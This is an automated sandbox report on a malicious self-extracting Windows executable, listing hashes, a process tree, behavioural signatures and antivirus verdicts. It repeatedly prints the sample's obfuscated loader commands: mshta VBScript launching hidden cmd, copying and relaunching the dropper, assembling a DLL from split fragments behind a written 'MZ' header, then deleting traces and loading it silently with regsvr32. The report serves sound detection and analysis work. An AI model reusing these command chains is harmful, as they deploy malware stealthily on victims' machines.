Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	June 25, 2021, 10:06 a.m.	June 25, 2021, 10:26 a.m.

Size	1.7MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`ef3a953c9b8c6e64271a8dc164b3455e`
SHA256	`0aa2f411f7491197cb3b4aeaf0fb09587363907fdb75f6725dc5d1c887f11ab2`
CRC32	`5F88643C`
ssdeep	`49152:lqbxYnkXlm7fUoXXkKl1WCCVtkH84EHTtR3c:cxYnkXlmLHkKTWf+c4EzHc`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb
Yara	PE_Header_Zero - PE File Signature OS_Processor_Check_Zero - OS Processor Check IsPE32 - (no description)

sfx_123_701.exe "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"
6240
- mshta.exe "C:\Windows\System32\mshta.exe" VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
  4864
  - cmd.exe "C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
    7232
    - p10.eXE ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE
      8992
      - mshta.exe "C:\Windows\System32\mshta.exe" VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
        2228
        
        cmd.exe "C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE "=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
        4672
      - mshta.exe "C:\Windows\System32\mshta.exe" VBScripT:ClOse (CreaTEoBjeCT ("wscRIPt.SHeLL").rUN ("CMD.EXE /q /C eChO | sEt /P = ""MZ"" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L + TBY5.3W +mpVO_KI.QW ..\nM~eG.K& dEl /q *& stART regsvr32.exe ..\nm~EG.K /S " , 0 ,truE))
        1608
        
        cmd.exe "C:\Windows\System32\cmd.exe" /q /C eChO | sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN+ 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
        4012
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" eChO "
        3320
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>BmRXXNP.CN"
        3980
        
        regsvr32.exe regsvr32.exe ..\nm~EG.K /S
        6440
    - taskkill.exe taskkill -iM "sfx_123_701.exe" /f
      6012
explorer.exe C:\Windows\Explorer.EXE
1848

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
172.217.174.195	Active	Moloch
172.217.25.14	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW June 25, 2021, 10:01 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: SUCCESS: The process "sfx_123_701.exe" with PID 6240 has been terminated. console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: The file cannot be copied onto itself. console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: 0 file(s) copied. console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: BmRXXNP.CN console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: 61fnmr.L console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: tBY5.3W console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: mpvo_KI.QW console_handle: 0x00000007	1	1
WriteConsoleW June 25, 2021, 10:01 a.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 25, 2021, 10:01 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.gfids

Allocates read-write-execute memory (usually to unpack itself) (10 events)

Time & API	Arguments	Status
NtProtectVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 6240 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 4864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 8992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 1608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 6440 region_size: 1060864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x2cc30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 6440 region_size: 1060864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x2cd40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 6440 region_size: 704512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x2ce50000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 6440 region_size: 712704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x2cf00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 25, 2021, 10:01 a.m.	process_identifier: 6440 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates a suspicious process (15 events)

cmdline	"C:\Windows\System32\mshta.exe" VBScripT:ClOse (CreaTEoBjeCT ("wscRIPt.SHeLL").rUN ("CMD.EXE /q /C eChO \| sEt /P = ""MZ"" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L + TBY5.3W +mpVO_KI.QW ..\nM~eG.K& dEl /q *& stART regsvr32.exe ..\nm~EG.K /S " , 0 ,truE))
cmdline	"C:\Windows\System32\cmd.exe" /q /C eChO \| sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN+ 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline	"C:\Windows\System32\mshta.exe" VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
cmdline	C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>BmRXXNP.CN"
cmdline	regsvr32.exe ..\nm~EG.K /S
cmdline	CMD.EXE /q /C eChO \| sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN+ 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline	msHTa.eXE VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
cmdline	C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline	"C:\Windows\System32\mshta.exe" VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
cmdline	C:\Windows\system32\cmd.exe /S /D /c" eChO "
cmdline	"C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE "=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline	C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE "=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline	mShtA VBScripT:ClOse (CreaTEoBjeCT ("wscRIPt.SHeLL").rUN ("CMD.EXE /q /C eChO \| sEt /P = ""MZ"" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN + 61fnmr.L + TBY5.3W +mpVO_KI.QW ..\nM~eG.K& dEl /q *& stART regsvr32.exe ..\nm~EG.K /S " , 0 ,truE))
cmdline	"C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline	msHTa.eXE VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\nM~eG.K

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "sfx_123_701.exe")

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
ShellExecuteExW June 25, 2021, 10:01 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW June 25, 2021, 10:01 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE "=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW June 25, 2021, 10:01 a.m.	show_type: 0 filepath_r: CMD.EXE parameters: /q /C eChO \| sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN+ 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S filepath: CMD.EXE	1	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 25, 2021, 10:01 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (3 events)

url	http://www.microsoft.com/schemas/ie8tldlistdescription/1.0
url	http://purl.org/rss/1.0/
url	http://www.passport.com

Yara rule detected in process memory (50 out of 70 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Hijack network configuration	rule	Hijack_Network
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Steal credential	rule	local_credential_Steal
description	Take ScreenShot	rule	ScreenShot
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Install itself for autorun at Windows startup	rule	Persistence
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess June 25, 2021, 10:01 a.m.	status_code: 0x00000001 process_identifier: 6240 process_handle: 0x00000184		0	0
NtTerminateProcess June 25, 2021, 10:01 a.m.	status_code: 0x00000001 process_identifier: 6240 process_handle: 0x00000184	1	0	0

Uses Windows utilities for basic Windows functionality (11 events)

cmdline	"C:\Windows\System32\cmd.exe" /q /C eChO \| sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN+ 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline	"C:\Windows\System32\mshta.exe" VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
cmdline	CMD.EXE /q /C eChO \| sEt /P = "MZ" > BmRXXNP.CN &COPy /Y /B BmRxxNP.CN+ 61fnmr.L +TBY5.3W +mpVO_KI.QW ..\nM~eG.K&dEl /q *& stART regsvr32.exe ..\nm~EG.K /S
cmdline	msHTa.eXE VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
cmdline	C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline	"C:\Windows\System32\mshta.exe" VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if """" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))
cmdline	"C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE "=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline	taskkill -iM "sfx_123_701.exe" /f
cmdline	C:\Windows\System32\cmd.exe /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\p10.eXE" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if "/pOA2QvaTol97tDypnQdSXIpZeOkE "=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\p10.eXE" ) do taskkill -iM "%~nXX" /f
cmdline	"C:\Windows\system32\cmd.exe" /q /c cOPY /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""=="" for %X In ( "C:\Users\test22\AppData\Local\Temp\sfx_123_701.exe" ) do taskkill -iM "%~nXX" /f
cmdline	msHTa.eXE VbscRIPt:ClosE(createoBject ("WScRiPT.sHelL" ). RUN ("C:\Windows\system32\cmd.exe /q /c cOPY /Y ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ..\p10.eXE&& sTARt ..\p10.exe /pOA2QvaTol97tDypnQdSXIpZeOkE &if ""/pOA2QvaTol97tDypnQdSXIpZeOkE "" == """" for %X In ( ""C:\Users\test22\AppData\Local\Temp\p10.eXE"" ) do taskkill -iM ""%~nXX"" /f " , 0, TRue))

Communicates with host for which no DNS query was performed (2 events)

host	172.217.174.195
host	172.217.25.14

File has been identified by 19 AntiVirus engines on VirusTotal as malicious (19 events)

Bkav	W32.AIDetect.malware2
FireEye	Generic.mg.ef3a953c9b8c6e64
Cylance	Unsafe
Cybereason	malicious.8c680b
APEX	Malicious
Kaspersky	UDS:DangerousObject.Multi.Generic
Paloalto	generic.ml
Sophos	Generic ML PUA (PUA)
Baidu	Archive.Bomb
McAfee-GW-Edition	BehavesLike.Win32.AdwareLinkury.tc
SentinelOne	Static AI - Suspicious PE
eGambit	Unsafe.AI_Score_99%
Microsoft	Trojan:Win32/Bunitucrypt.RW!MTB
Cynet	Malicious (score: 100)
McAfee	Artemis!EF3A953C9B8C
Zoner	Probably Heur.RARAutorun
Yandex	Trojan.Slntscn24.bVWkC5
Webroot	W32.Trojan.Gen
CrowdStrike	win/malicious_confidence_60% (W)

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 7232 resumed a thread in remote process 8992
Process injection	Process 8992 resumed a thread in remote process 1608
Process injection	Process 4012 resumed a thread in remote process 6440
NtResumeThread June 25, 2021, 10:01 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 8992	1	0	0
NtResumeThread June 25, 2021, 10:01 a.m.	thread_handle: 0x00000298 suspend_count: 1 process_identifier: 1608	1	0	0
NtResumeThread June 25, 2021, 10:01 a.m.	thread_handle: 0x0000008c suspend_count: 0 process_identifier: 6440	1	0	0

sfx_123_701.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All